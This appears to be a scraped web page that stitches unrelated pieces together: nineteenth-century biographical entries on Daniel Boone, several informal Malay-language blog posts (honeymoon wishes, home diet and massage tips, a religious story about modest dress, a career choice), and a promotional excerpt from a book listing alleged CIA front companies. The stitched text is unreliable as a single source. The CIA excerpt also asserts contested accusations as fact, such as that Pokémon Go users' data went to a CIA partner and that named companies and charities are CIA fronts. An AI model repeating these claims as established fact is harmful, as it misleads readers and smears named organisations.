At the fort he learned that his wife and children, despairing of ever seeing him again, had returned, and safely reached her father's home in North Carolina. The Indians assailed the fort, but were repelled with loss, and retreated. Boone then, in the autumn of 1778, rejoined his family on the Yadkin, and returned with them to Kentucky in 1780. 

The country, though well settled, was still unsafe, and, soon after his return, Boone and his brother, Squire, were surprised by Indians; Squire was killed and scalped, and Daniel had a narrow escape. A sanguinary engagement, called the "Battle of the Blue Licks," took place in 1782, in which Boone's two sons fought at his side. One of them was killed, and the other severely wounded. Boone was full of expedients, and on one occasion extricated himself from four armed Indians by blinding them with tobacco dust. Kentucky was admitted into the union, 4 Feb., 1791, and in the survey of the state the title to Boone's land was disputed. The case was decided against him, and, stung to the quick by the wrong, he had again to seek a new home, which he established at Point Pleasant, between the Ohio and the Great Kanawha; but in 1795 he removed to Missouri, then a Spanish possession, and received not only the appointment of commandant of the Femme Osage district, but a grant of 8,000 acres. The Spanish possessions passed into the hands of Napoleon, who sold them to the United States, and, in the survey that followed, the Spanish grant of Boone's lands was pronounced invalid. An appeal to the legislature of Kentucky, and another to congress, resulted in a grant by the latter of 850 acres. Boone was then seventy-five years of age, hale and strong. The charm of the hunter's life clung to him to the last, and in his eighty-second year he went on a hunting excursion to the mouth of Kansas river. He had made his own coffin and kept it under his bed, and after his death they laid him in it to rest by the side of his wife, who had passed away seven years before. 

On 13 Sept., 1845, their remains were removed to the cemetery near Frankfort, Kentucky, a few miles from the fort of Boonesborough, by the concurrent action of the citizens of Frankfort and the legislature of Kentucky. 

Cemetery in Frankfort, Kentucky where Daniel and Rebecca Bryan Boone were re-interred

His son, Enoch, born in Boonesborough, Kentucky, in 1777 ; d. 8 March, 1862, was the first white male child born in Kentucky. Daniel Boone's wife, with her daughters, went to live with her husband in his palisaded fort in June, 1776, and while there gave birth to this son; but after Boone's capture, on 7 Feb., 1778, his family returned to North Carolina. -- Edited Appleton's American Biography Copyright© 2001 by Stan Klos TM

An American biographical and historical dictionary Containing an account of the lives, characters, and writings of the most eminent persons in North America from its first settlement, and a summary of the history of the several colonies and of the United States. By: W. Hyde, 1832.

BOONE, Daniel, colonel, one of the first settlers of Kentucky, was born about 1730. While he was young, his parents, who came from Bridgeworth,England removed from Pennsylvania or Virginia to the Yadkin river in North Carolina. 

He was early addicted to hunting in the woods; in the militia he attained to the rank of colonel. In 1769, in consequence of the representation of John Finley, who had penetrated into the wilderness of Kentucky, he was induced to accompany him in a journey to that country. He had four other companions, John Stuart, Joseph Holden, James Money, and William Cool, with whom he set out May 1. On the 7th of June they arrived at the Red river, a branch of the Kentucky; and here from the top of a hill they had a view of the fertile plain's, of which they were in pursuit. They encamped and remained in this place till Dec. 22, when Boone and Stuart were captured by the Indians near Kentucky river. In about a week they made their escape; but on returning to their camp, they found it plundered and deserted by their companions, who had gone back to Carolina.

Stuart was soon killed by the Indians; but Boone being joined by his brother, they remained and prosecuted the business of hunting during the winter, without further molestation. His brother going home for supplies in May 1770, he remained alone in the deep solitude of the western wilderness until his return with ammunition & horses July 27th. During this period this wild man of the woods, though greeted every night with the howlings of wolves, was delighted in his excursions with the survey of the beauties of the country and found greater pleasure in the solitude of wild nature, than he could have found amid the hum of the most elegant city. With his brother he traversed the country to Cumberland river. It was not until March 1771, that he returned to his family, resolved to conduct them to the paradise, which he had explored.

Students and Teachers of US History this is a video of Stanley and Christopher Klos presenting America's Four United Republics Curriculum at the University of Pennsylvania's Wharton School. The December 2015 video was an impromptu capture by a member of the audience of Penn students, professors and guests that numbered about 200. - Click Here for more information

Having sold his farm, he set out with his own and 5 other families, Sept. 25,1773, and was joined in Powell's valley by 40 men. After passing over two mountains, called Powell's and Walden's, through which, as they ranged from the north east to the south west, passes were found, and approaching the Cumberland, the rear of the company was attacked by the Indians on the 10th of October, when six men were killed, among whom was the eldest son of colonel Boone. One man was also wounded, and the cattle were scattered. This disaster induced them to retreat about 40 miles to the settlement on Clinch River, where he remained with his family, until June 6,1774, when, at the request of gov. Dunmore, he conducted a number of surveyors to the falls of Ohio. On this tour of 800 miles he was absent two months. After this he was entrusted by the governor, during the campaign against the Shawanese, with the command of three forts. 

Early in 1775, at the request of a company in North Carolina, he attended a treaty with the Cherokee Indians at Wataga in order to make of them the purchase of lands on the south side of the Tennessee river. After performing this service, he was employed to mark out a road from the settlements on the Holston to the Kentucky river. While thus employed, at the distance of about 15 miles from what is now Boonesborough, the party was attacked March 20, and 23, 1775 by the Indians, who killed four and wounded five. Another man was killed in April. On the first day of this month at a salt lick, on the southern bank of the Kentucky,in what is now Boonesborough a few miles from Lexington, he began to erect a fort, consisting of a block house & several cabins, enclosed with palisades. On the 14th of June he returned to his family in order to remove them to the tort.. His wife and daughters were the first white women, who stood on the banks of the Kentucky river. Dec. 24th one man was killed and another wounded. July 14, 1776, when all the settlements were attacked, two of Colonel Calway's daughters and one of his own were taken prisoners; Boone pursued with 18 men and in two days overtook the Indians, killed two of them, and recovered the captives.

The Indians made repeated attacks upon Boonesborough; Nov. 15,1777 with 100 men, and July 4 with 200 men. On both sides several were killed and wounded; but the enemy were repulsed; as they were also July 19 from Logan's fort of 15 men, which was besieged by 200. The arrival of 25 men from Carolina and in August of 100 from Virginia gave a new aspect to affairs, and taught the savages the superiority of "the long knives," as they called the Virginians. Jan. 1, 1778 he went with 30 men to the blue licks on the Licking river to make salt for the garrison. Feb. 7, being alone, he was captured by a party of 102 Indians and 2 Frenchmen; he capitulated for his men, and they were all carried to Chillicothe on the Little Miami, whence he and 10 men were conducted to Detroit, where he arrived March 30. The governor, Hamilton, treated him with much humanity, and offered 1001, for his redemption. But the savages refused the offer from affection to their captive. Being carried back to Chillicothe in April, he was adopted as a son in an Indian family. He assumed the appearance of cheerfulness ; but his thoughts were on his wife and children. Aware of the envy of the Indians, he was careful not to exhibit his skill in shooting. In June he went to the salt springs on the Sciota. On his return to Chillicothe he ascertained, that 450 warriors were preparing to proceed against Boonesborough. He escaped June 16, and arrived at the fort June 20th, having travelled 160 miles in 4 days, with but one meal. His wife had returned to her father's. Great efforts were made to repair the fort in order to meet the expected attack. On August 1st, he went out with 19 men to surprise Point Creek town on the Sciota; meeting 30 Indians, he put them to flight and captured their baggage. At last, Aug. 8, the Indian army of 444 men, led by captain Dugnesne and 11 other Frenchmen, and their own chiefs, with British colors flying, summoned the fort to surrender. 

The next day Boone, having a garrison of only 50 men, announced his resolution to defend the fort, while a man was alive. They then proposed that 9 men should be sent out 60 yards from the fort to enter into a treaty; and when the articles were agreed upon and signed, they said it was customary on such occasions, as a token of sincere friendship, for two Indians to shake every white man by the hand. Accordingly two Indians approached each of the nine white men, and grappled with the intent of making him a prisoner; but the object being perceived, the men broke away and re-entered the fort.

An attempt was now made to undermine it; but a counter trench defeated that purpose. Atlast on the 20th the enemy raised the siege, having lost 37 men. Of Boone's men two were killed and four wounded. "We picked, up," said he, "125 pounds of bullets, besides what stuck in the logs of our fort, which certainly is a great proof of their industry." In 1779, when Boone was absent, revisiting his family in Carolina, Colonel Bowman with 160 men fought the Shawanese Indians at old Chillicothe. 

In his retreat the Indians pursued him for 30 miles, when in another engagement col. Harrod suggested the successful project of mounting a number of horses and breaking the Indian line. Of the Kentuckians 9 were killed. June 22nd,1780, about 600 Indians and Canadians under col. Bird attacked Riddle's and Martin's stations and the forks of Licking river with 6 pieces of artillery, and carried away all as captives. Gen. Clarke, commanding at the falls of Ohio, marched with his regiment and troops against Reccaway, the principal Shawanese town on a branch of the Miami, and burned the town, with the loss of 17 on each side. 

About this time Boone returned to Kentucky with his family. In Oct. 1780, soon after he was settled again at Boonesborough, he went with his brother to the Blue Licks, and as they were returning the latter was slain by a party of Indians, and he was pursued by them by the aid of a dog. By shooting him Boone escaped. The severity of the ensuing winter was attended with great distress, the enemy having destroyed most of the corn. The people subsisted chiefly on buffalo's flesh. In May 1732 the Indians having killed a man at Ashton's station, captain A. pursued with 25 men, but in an attack upon' the enemy he was killed with 12 of his men. Aug. 10 two boys were carried off from major Hay's station. Capt. Holden pursued with 17 men; but he also was defeated, with the loss of four men. In a field near Lexington an Indian shot a man and running to scalp him, was him- self shot from the fort and fell dead upon his victim. On the 15th Aug. 500 Indians attacked Briant's station, five miles from Lexington,and destroyed all the cattle; but they were repulsed on the third day, having about 30 killed, while of the garrison 4 were killed and 3 wounded. Boone, with cols. Todd and Trigg and major Harland, collected 176 men and pursued on the 18th.

They overtook the enemy the next day a mile beyond the Blue Licks, about 40 miles from Lexington, at a remarkable bend of a branch of Licking river. A battle ensued, the enemy having a line formed across from one bend to the other, but the Kentuckians were defeated with the great loss of 60 killed, among whom were cols. Todd and Trigg, and Major Harland, and Boone's second son. Many were the widows made in Lexington on that fatal day. The Indians having 4 more killed, 4 of the prisoners were given up to the young warriors to be put to death in the most barbarous manner. 

General Clarke, accompanied by Boone, immediately marched into the Indian country and desolated it, burning old Chillicothe, Peccaway, New Chillicothe, Willis town, and Chillicothe. With the loss of four men he took seven prisoners and five scalps, or killed five Indians. In October the Indians attacked Crab orchard. One of the Indians having entered a house, in which were a woman and a negro, and being thrown to the ground by the negro, the woman cut off his head. From this period to the peace with Great Britain the Indians did no harm. "Two darling sons and a brother," said Boone, "have I lost by savage hands, which have also taken from me 40 valuable horses and abundance of cattle. Many dark and sleepless nights have I spent, separated from the cheerful society of men, scorched by the summer's sun and pinched by the winter's cold, an instrument ordained to settle the wilderness."

From this period he resided in Kentucky and Virginia till 1798, when in consequence of an imperfect legal title to the lands, which he had settled, he found himself dispossessed of his property. In his indignation he fled from the delightful region, which he had explored, when a wilderness, and which now had a population of half a million. With his rifle he crossed the Ohio and plunged into the immense country of the Missouri In 1799 he settled on the Femme Osage river with numerous followers. In 1800 he discovered the Boone's Lick country, now a fine settlement: in the same year he visited the head waters of the Grand Osage river and spent the winter upon the head waters of the Arkansas. At the age of 80, in company with a white man and a black man, laid under strict injunctions to carry him back to his family, dead or alive, he made a hunting trip to the head waters of the Great Osage, and was successful in trapping beaver and other game.

In January 1812 he addressed a memorial to the legislature of Ky. stating that he owned not an acre of land in the region, which he first settled; that in 1794 he passed over into the Spanish province of Louisiana, under an assurance from the governor, who resided at St. Louis, that land should be given him; that accordingly 10 thousand acres were given him on the Missouri and he became Syndic or chief of the district of St. Charles; but that on the acquisition of Louisiana by the United States his claims were rejected by the commissioners of land, because he did not actually reside; and that thus at the age of 80 he was a wanderer, having no spot of his own, whereon to lay his bones.

The legislature instructed their delegates to congress to solicit a confirmation of this grant. He retained, it is believed, 2,000 In his old age he pursued his active course of life, trapping bears and hunting with his rifle. Though a magistrate and sometimes a member of the legislature of Virginia, and much engaged in agriculture; yet he preferred the solitude of the wilderness to the honors of civil office and the society of men.

He died at the house of his son, Major A. Boone, at Charette, Montgomery Company, September 26th, 1820, aged nearly 90 years. His wife died in the same place. He left sons and daughters in Missouri. In consequence of his death the legislature of Missouri voted to wear a badge of mourning for 20 days. A brother died in Mississippi Oct. 1808, aged 81. 

Col. Boone was of common stature, of amiable disposition, and honorable integrity. In his last years he might have been seen by the traveler at the door of his house, with his rifle on his knee and his faithful dog at his side, lamenting the departed vigor of his limbs, and meditating on the scenes of his past life.

Whether he also meditated on the approaching scenes of eternity and his dim eyes ever kindled up with the glorious hopes of the christian is not mentioned in the accounts of him, which have been examined. But of all objects an irreligious old man, dead as to worldly joy and dead as to celestial hope, is the most pitiable. An account of his adventures, drawn up by himself, was published in Filson's supplement to Imlay's Description of the Western Territory, 1793.— Niles Register, March 13, 1813.

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Honeymoon Destination

Salam.. haha, org tgh mood exam, kite mood nk kawen pulak dah. :p Smue org ade impian masing2... Nia pn berhak berangan . Haha. emm, so let me share with u my honeymoon destination. Ada dua option. Pergi salah satu pun dh puas hati. Weeeeeeee. To my future husband,.. nk kawin tu, poket kasi tebal sikit ye. Hahaha.. jgn cuak dulu. Okay2 jom berhoneymooooon......



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Comel kan dua org nie... huk huk. I love them both. :)

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Anyong hae sayo~~~~Jeju Island! hoyeah...Klau slalu tgk cite korea, Jeju island nie mmg destinasi yg sgt famous. Hmm, agak mahal nk pergi cnie. Ye lah tmpt cntik kan. Tapi tk pe, tk lah semahal nk pegi UK. Nk tgk keindahan pulau nie, aaa...u have no idea how much i love beaches! Seronoknye laa.. nk pegi nk pegi nk pegi!


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Romantik dn cantik! i loikee~~~

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Hola Spain! Sbenarnye sblum berangan nk pegi Korea dlu, ingt nk pegi Spain. But since i heard that the cost is tooooo expensive,so kurang sket lah harapan tu. Melainkan bakal suami tu dh jutawan mase tu bolehlah nk belanja nia pegi spain. Haha...mcm mustahil pulak ade duit byk2. :p Tk pe2, talking bout Spain...nia nk pergi  sini sbb nia suke sgt bahasa diorg. :) Dlm proses belajar bahasa Spanish dn Korean skrng. Tp progress nye tk brape smooth lg. Busy kan org exam. :p tp update blog smpt je. Haha.

ADVICE FOR TODAY: Bahagiakanlah isterimu dengan membawanye honeymoon ke tmpt yg dia nak! Haha.. sorry, gile2 sikit hari nie. :p 

          How to have a perfect body shape        

Salam.. hey got sumthing to share today :) Wah mcm2 lah pulak cik Tania ni, nk share smue bnde dye tahu.. Nia nk share sumthing yg nia buat mase cubaan nia utk diet from GEMOK dlu dn masih diamalkn smpai skrng. Tp title post ni mcm over sikit. Perfect body shape? hisy tk de lah smpai perfect. Tips yg nk diberi ni supaya dpt mencapai ape yg dikehendaki. Perfect tk dijamin okeyh? Hee, okay2 straight to the point. Hmm, what i discover psl mslh2 prmpuan ni smue is smuenye nk ade body cntik.. Try mcm2 cara to keep fit. But still tk kurus2. Kurus tu satu hal. kdg2 mslh dgn saiz anggota bdn.. flat tummy, bla3x... Ade je org yg hari2 jogging, tp nmpk chubby jugak memanjang. Ade yg tk pegi jog pun, tp okay je bdn die. Okey smuenye perlukan effort babe. Now open ur heart to digest all my suggested methods from head to toe. Okey?

1. Jogging setempat
Utk anda2 yg pemalas nk angkat kaki- ade berita baik buat anda! Haha..Anda tk perlu jogging kt taman2..What u need to do is, stand still in front of a long mirror. Observe urself baik2. :p Then mulakan warming up exercises.. Lepas tu bile smpai ke kemuncaknye, jogging setempat/ lari setempat. Do it for about 10 minutes SETIAP HARIIIIII. Then klau rase nk tmbh lg, tmbh je..(klau larat lah kay?) jgn pakse diri. Buat smbil dgr music pun boleh. make sure music rancak :p This is beneficial for ur whole body kay?

2. Flat tummy exercise
Jgn tinggal exercise ni klau rase perut tu dh mengandung 2-3 bulan. ==' Buat lah dlm 10 kali repeat ...juga SETIAP HARI Sakit sikit.. tp tk pe, hasilnye sgt memberangsangkn. Jgn malas2. tk mo lah mls2 nie.. haish.

3. Urutan muka
Kpd mereka2 yg bermuka chubby atau isi yg berlebihan pd bhgian muka, boleh cuba cara nie. Suggested time is 10 minutes urut, slepas mandi.. Ala smbil2 tnggu rambut kering tu, ape slhnye, urut muke tu slow2... Tk penah nmpk bende nie? Dkt guardian ade rasenye. Byk tmpt ade bnde nie. Beli online pn boleh.. name dye face roller. this is one of its name lah. banyak name bnde ni pn. Bnde ni dpt pecahkn lemak2 kt bwh dagu, dn kurangkn kechubbyan korg yg pakai tudung pn ketat kt muka tuh. haha. :)

4. Urutan betis
Okey since ramai yg ade mslh betis besar walhal tuan bersaiz kecik, dun wori.. try this out. Pagi mase nk mandi tu, klau boleh time bukak shower dn bdn tgh basah, tekan betis dn urut, tarik dari bwh ke atas smpai habis kwsn betis mcm arrow kt atas nie haa. gune dua2 tgn ~~ tekan kasi lemak tu dari bwh tertolak ke atas. alah, mcm urut muka jugak konsepnye.. so urut 5 kali pd setiap betis. :) TEKAN KUAT2 TAW! berpada2 lah jugak. -.-

5. Urutan perut comel
Hee.. yg ini urutan yg perlu dilakukan semasa mandi jgk. sbb kite nk sapu gel mandian dlu , gosok2 dlu kt perut. supaya licin sikit senang nk gosok perut. Haa yg ini, mulakan dgn urut perut gune dua2 tgn.. 1st ikut arrow warna merah kt dlm gmbr kt atas nie.. Buat urutan clockwise.. tekan smpai perut tertekan ke dalam. sebanyak 10x pusingn. 2nd, ikut arrow warna kuning pulak. Tolak 5x. dn 3rdly, ikut arrow hijau tu, 5x jugak taw. Amalkan setiap hari :)

Okay dah.. ckup. ni lah tips senaman ringkas for a lovely body shape insyaAllah. Selamat mencuba

ADVICE FOR TODAY: If there's a will, there's a way. Jgn malas utk jadi cantik. hahaha.

          Hidayah itu Satu Nikmat        
Salam.. :)

Hidayah.. hidayah itu tk dtg bergolek, tk dtg melayang. Klau dipinta, ia kan datang. Klau tidak dipinta sekalipun, ia sentiasa dtg. Yg menggerakkan hidayah itu, pastinya Allah. Yg menerima hidayah itu pastinya kita, makhluk Allah. Tapi dapatkah kita lihat hidayah itu? Tidak, hidayah itu bukan dalam bentuk kotak hadiah.. Mediumnya, melalui orang2 sekeliling kita. Hari ni, nk bercerita psl satu kisah. Trpulanglah cerita ini mahu dikaitkan dgn siapa2 juga.. Klau ada yg trkene btg hidung, Alhamdulillah. :) klau tk de, tk pyh pusing2 kepala nk fikir. Just baca je.. Jom :)

Tersebutlah kisah...ade seorang gadis brname Natasha. Dia memang suka berpakaian ketat, katanye lebih selesa begitu. Pengalamannya bercinta, cukup hebat...cukup byk. Dlm hidupnya, selalu trfikir soal pahala. Namun jarang difikirkan soal dosa.. Menurut teman2nya, memang die seorang yg baik. Tapi pada mata Allah, dia sendiri tidak cuba memikirkannya. Dia seorang yg sayangkan Allah.. Setiap kali berbuat dosa, hatinya sentiasa terdetik nama Allah. Tapi, tidak juga ditinggalkan larangan Allah itu.

MAKA, ditakdirkan dgn kuasa Allah.. hadirlah orang2 di sekelilingnya, yg tnpa sedar, membawa hidayah meresap ke dlm dirinya.

ORANG 1: Hadir seorang teman bernama Lily (bukn name sbenar) yg sering menegurnya setiap kali baju yg dipakainya itu tidak menepati syarak.

' Aih, Tasha, kenape singkat sgt baju? Haa, tu lah, sluar dh kotor. Siape suruh pakai baju singkat2 lgi?'

-Secalit sindiran yg sudah ckup membuatkan hatinya tersentap. Dlm hatinya, 'marahkah aku?' Natasha malu... malu dgn kawan2nya yg lain. Malu kerana Lily tidak pernah menegur kwn2nye yg berbaju singkat, sebaliknya menegur si dia sahaja.' TIDAK ADIL! ' -bisik hati kecil Natasha-

ORANG 2: Allah hadirkan pula Ustaz Asri (bukn name sbenar) yg sering memuji pelajar2 perempuannya di dlm kelas.

' Bagus betul anak2 murid ustaz, smuenye bertudung, tutup aurat.. Ustaz suka sgt tgk.. Org prmpuan ni, Allah jadikan setiap inci kulitnya adalah berharga. Sbb tu kamu kene tutup.'

-Saat ustaz melafazkn ayat ini, Natasha tunduk diam membisu.. Kakinya disorokkan sedikit di bwh meja, agar ustaz tidak terlihat kakinya yg tidak memakai stokin. Dia malu.. Lengan baju kurungnya dikepit..dia malu seandainya ustaz tahu dia tidak memakai sarung lengan seperti teman2nya.. Namun, hatinya sekali lagi tersentak...hidayah mula mengetuk pintu hatinya.-

ORANG 3 : Allah hadirkan pula temannya bernama Mizyah (Bukn name sbenar) . Allah perlihatkan kepadanya kecantikan sbenar org yg menutup aurat. Saat itu, lengan baju kurung Mizyah terselak sehingga menampakkan sarung lengan berwarna hitam yg dipakainya.

-'Cantik juga klau pakai sarung lengan ni. Elok jugak..' bisik hati kecil Natasha-

ORANG 4 : Allah hadirkan pula ibunya.. yang tidak pernah penat menasihatinya. Pernah suatu hari, tudung yg dipakai Natasha sedikit labuh, bukanlah labuh yg menutup aurat.. tetapi labuh kerana saiznya yg besar sedikit sahaja.

' Tak sesuailah tudung labuh tapi baju singkat.'

-Hatinya marah dengan kata2 ibunya. Namun di sebalik kata2 itu, dia terfikir juga..memang tidak cantik klau tudung dn baju nampak tidak sempurna begitu.-

ORANG 5 : Allah datangkan dalam dirinya seorang lelaki.. bernama Adam (bukan name sbenar)

' Saya dgn kwn saya selalu kira bilangan perempuan yg tak pakai stokin. Bukan nak menghendap aurat org. Tapi just nak kira, berapa ramai yg turut perintah Allah, berapa ramai yg tidak.'

'Saya suka tgk org bertudung labuh.. Sejuk hati melihatnya.'

-Natasha jadi malu dalam hatinya.. Terdetik hatinya untuk mula berubah memakai stokin. Terfikir betapa tidak muslimahnya dia..betapa seorang lelaki itu mendambakan wanita solehah sebagai isterinya. Manakala dirinya tidak layak digelar solehah!-

ORANG 6 : Datang ustazah Atikah (bukan name sbenar) memberi ceramah di kelasnya..

' Boleh klau nk pakai tudung sarung tu , janji tutup aurat. Tapi jgn pulak pakai tudung sarung tu, kt depan tutup...kt bahagian tepi nampak bentuk kewanitaan awak tu.'

-Dia tunduk meneliti penampilannya. Ya, benar.. memang tudung sarung itu tidak ckup labuh. Bahkan dari tepi, bisa menampakkan bentuk dada yg tidak seharusnya terlihat oleh bukan muhrim. MasyaAllah,dia mengucap dlm hatinya.-

ORANG 7 : Manusia yg seterusnya dihadirkan Allah ialah Umairah (bukn name sbenar) yg menyampaikan hidayah Allah cukup hanya dgn pandangannya yg membunuh. -_-

Direnungnya Natasha setiap kali Natasha berpakaian agak ketat. Dipandang serongnya Natasha membuatkan dia jadi serba salah..


Dengan takdir Allah... setelah cukup hadirnya 7 insan yang luar biasa ini dalam hidupnya, maka jadilah dia seorang yg insaf dgn kesilapannya... dn mengubah penampilannya.

Natasha - SEBELUM-

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Natasha- SELEPAS-

ADVICE FOR TODAY: Hidayah itu datang pada bila2 masa sahaja.. Mungkin hari ini, seseorang itu ibarat iblis, besok boleh jadi pekertinya seperti malaikat. Dengan izin Allah, keajaiban boleh terjadi.. :) Berubahlah sebelum terlambat. Ambillah iktibar daripada kisah yg diceritakan hari ini.

          Story behind my choice of career :p        

Assalamualaikum.. today i'll tell the story behind why i choose to be a teacher.. opps, not just a teacher. I'm going to be an ENGLISH teacher lah. :) heee. Emm, korg smue mesti ade byk ambition dulu2, betul tk? Klau korg nk tahu, i have lotssss of ambitions yg dikumpul sejak kecil. Haha.. So now, jom kite share story..

Masa umur 5 tahun:
Abah suruh anak2 die (termasuk diriku) utk jadi arkitek.. Klau abah tanye, bile besar nk jdi ape, kteorg adik bradik smue beriya2 jwb... arkitek!! :p Tk tahu lah kenape, tp kteorg mmg suke sgt melukis. Slalu masuk pertandingn melukis, mewarna.. (tp ape kaitan ngn arkitek? haha) tk de kaitan lgsung..., cita2 ni dibawa smpailahhh ke----------------> form 3.

Masuk form 4 :
Aaa, minatnye bahasa Spanish.. isy, abah, tk nk lah amik architecture.. Tgk angah ambik architecture, mcm susah je.. Tk mo lahhh tk mo lahhh~~~ Pastu dh decide. Okay nk ambik bahasa spanish. Nk jdi pakar dlm bidang nie, nk jd translator, nk translate smueeee telenovela kt tv. pergh berangan. haha... Okay, so cita2 ni dteruskan smpailahhhhh-------------------- form 5

Masuk form 5 :
Cita2 nk jdi spanish translator membuak2.. Haha.. Mmg siap plan nk keje ngn duta lg . ==' Emm, pastu dh decide nk ambik course tu kt UM. Dh beli linguaphone spanish, nk blaja spanish la.. Pastu tup2 lepas spm, col UM ( Universiti Malaya), smpai ckp ngn dekan die.. tanye die psl course tu. Tetibe die jwb, eh dik... course ni, kite ambik budak STPM je.. kite ambik org yg mmg dh ade basic bahasa asing. ==' grr, hancur berkecai harapanku... aaaaaaaaaaa..aaaaaaa.......
So, nk dijadikan citer, abah ngn mama gi berjumpe kwn die.. kwn die cite psl anak die ambik Tesl kt oversea... Hmm, balik je umah, mama dn abah mrh2, ckp course Spanish tu tk menjamin mase dpn...dn suruh ambik tesl sbb nia tanak ambik medic, tanak ambik engineering..

Kenape tanak ambik medic??
1.Takut darah, penggeli,.. dn sgt nk pengsan klau tgk drh, haha.. so what's the use amik medic?

Kenape tanak ambik engineering??
1. Sbenarnye, ade trdengar citer dri kawan yg mak die engineer. die kate, mak die smpai balik lewat mlm.. die slalu sunyi sorang2 kt umah.. And, kwn2 kakak pn ade bgtau, yg engineering mostly lelaki.. I dont want to be surrounded by guys.. Takowt la. hehe. Dn, i've promised to myself, i dun wan science stream anymore.. no more burden please. >_<

So, beberape perkara telah dipertimbangkan sbelum mencapai keputusan utk apply A Level TESL :

1. Klau jdi cikgu, boleh jdi isteri dn ibu yg berbakti utk family.. Boleh jdi ibu yg sntiase ade dgn anak2...dn boleh jdi isteri yg baik sbb slalu dpt teman suami. Ye lah, cikgu kn slalu free. Weee, seronoknye! So, ini adalah sebab UTAMA knp nia pilih utk jdi English teacher.

2. Klau amik A level tesl, dpt pegi oversea. Ni lah peluangnye, sbb adik beradik lain smue tk pegi oversea pn. I'm abah's last hope.. so, mcm menarik je. haha.

Jadi, kesimpulannye, dua sebab di atas tu adalah the only reasons why akhirnye i chose to be an english teacher. Ala, tk pe la, lgpun, ni lah peluangnye nk speaking 'cair' . Dulu berangan nk ckp mcm omputeh. So peluang dh terbukaaa~~ WALAUPUN ade beberape cikgu yg mulut kuang aja, they said..." B***H la dpt 10A tp jadi cikgu jgk. pegi oversea jauh2 tp jdi cikgu jgk akhirnye.." And i was like....So?? pendam je. Tk pelah 'cikgu', nti sy buktikn jdi english teacher ni is not a bad thing. Nia lngsung tk menyesal.. Sbb nia tanak kerjaya yg busy.. becuz im just a lady to be, now still a girl kot. hee.. Perempuan ni, tk perlu kerja tinggi2.. nnti kn ade suami. Keje biase2 pn dh okay. :) gembira jgk insyaAllah.. alahai, result spm tinggi2 tapi tk keje professional pn nia tk kisahlah.. It's just SPM je pn. duniawi belaka.. haha. :p Well, setiap org ade reasons kenape die pilih kerjaya yg die nk..
Hee...ade muke cm cikgu tk?? :p

ADVICE FOR TODAY: Believe in what you think best for you.. Ignore other people lah....okay? Gud luck!

          Burn After Reading        

Who’s Who
What’s What

In the World of CIA Fronts, Partners, Proprietaries & Contractors


The Almost Classified Guide to CIA Front Companies, Proprietaries & Contractors
ISBN: 978-1-365-11196-9

Cool Justice Editor's Note: Following are excerpts from author Madsen's introduction and the body of the work. Additional suggested reading: News story about Madsen's book via the Washington, D.C. based Justice Integrity Project [link at the bottom of this post].


From the Introduction

One of the most pervasive uses of companies as intelligence partners was under the CIA’s Operation MOCKINGBIRD. During the Cold War, the CIA, often with the approval of corporate executives, infiltrated their agents to work as journalists in newspapers, radio and television networks, wire services, and magazines. The following pages in this book are rife with examples of this penetration of the Fourth Estate – all too many in the opinion of this journalist. The CIA admitted to at least 400 journalists on the agency’s payroll at the height of MOCKINGBIRD. The CIA traditionally understates its capabilities, especially when its covert activities become publicly known. Moreover, the end of the Cold War did not stop the practice of the CIA in infiltrating the media and slant news reports to its wishes.


An insightful look behind the veils of secrecy into the CIA’s use of fronts, proprietaries, and partners calls into question the purpose of the CIA. Created by President Harry S Truman to serve as a central collector and repository of intelligence, the CIA became much more than that. A few weeks after the United States witnessed the assassination of President Kennedy in the middle of downtown Dallas, Truman penned an op-ed piece that appeared in several newspapers around the country. In it, Truman shared his regret for having created the CIA in 1947:

“I think it has become necessary to take another look at the purpose and operations of our Central Intelligence Agency—CIA . . . For some time I have been disturbed by the way CIA has been diverted from its original assignment. It has become an operational and at times a policy-making arm of the Government. This has led to trouble and may have compounded our difficulties in several explosive areas.

"I never had any thought that when I set up the CIA that it would be injected into peacetime cloak and dagger operations. Some of the complications and embarrassment I think we have experienced are in part attributable to the fact that this quiet intelligence arm of the President has been so removed from its intended role that it is being interpreted as a symbol of sinister and mysterious foreign intrigue.”


The 21st century’s CIA’s partners are more likely to be found among high-tech companies marketing the latest and greatest mobile applications and data mining programs than among banks, law offices, and advertising agencies. However, in the post-World War II era, the CIA’s top and middle echelons were normally found operating through cover as typewriter-pecking journalists, traveling Madison Avenue admen, corporate lawyers, and chain-smoking oilmen. In the 1970s and 80s, CIA contractors and partners began showing up in the high-tech field, with database, local area networking, and on-line information retrieval systems attracting the most interest by Langley.


As this book went to press, the smart phone game application Pokémon Go fad was sweeping the planet. Unbeknownst to many of the on-line game’s avid fan’s was the connection of the game’s developers to the CIA’s venture capital firm IN-Q-TEL. All users saw their geo-location and other smart phone data being swept up by a CIA partner firm.


Amazon, Inc. [CIA contractor]. Company provides cloud computing services for the CIA. Amazon’s CEO Jeff Bezos also owns The Washington Post.

American Historical Society. [CIA partner]. Many society officials were OSS/CIA officers.

American Press Institute. [CIA front]. Operating out of Columbia University, the institute’s director in the 1950s was a CIA officer.

AmeriCares. [CIA partner]. A non-profit organization that is often the “first in” at refugee situations. Founded by tycoon J. Peter Grace, a board chairman of the CIA front, the American Institute for Free Labor Development (AIFLD) and a trustee of another CIA front, the American Committee for Liberation from Bolshevism, AmeriCares was involved in funding the Nicaraguan contras. The group has also provided the CIA with recruiting opportunities at mass refugee sites, particularly in Latin America and Asia.

Bechtel Corporation. [CIA contractor]. Bechtel is a large construction company that has included former CIA director Richard Helms, CIA pseudonym “Fletcher M. Knight,” among its executive ranks. Bechtel was active in providing corporate cover for the OSS in the Middle East during World War II. Bechtel has been a consummate service company for various CIA operations, including support for the CIA-inspired coup against the Syrian government in 1949, the Iranian government of Prime Minister Mohamed Mossadeq in 1953, and President Sukarno of Indonesia in 1965. From the 1960s to the 1970s, Bechtel provided cover for CIA agents in Libya under both the regime of King Idris and his successor, Muammar Qaddafi. Sometimes called a “secret arm” of the CIA, Bechtel’s executives included those who would join President Reagan’s Cabinet, including Secretary of State George Schultz and Secretary of Defense Caspar Weinberger.

Before World War II, Steve Bechtel formed a military-industrial complex partnership with John McCone. McCone later became the chairman of the Atomic Energy Commission and later, director of the CIA. The CIA has used Bechtel to provide cover for non-official cover CIA operatives abroad.

Blackstone Investment Group. [CIA front]. With offices in Washington, DC and Moscow, arranged for the purchase of KGB documents following the collapse of the Soviet Union. Among the documents sought by the front company were any related to illegal CIA activities during the Cold War, including the 1963 assassination of President John F. Kennedy.

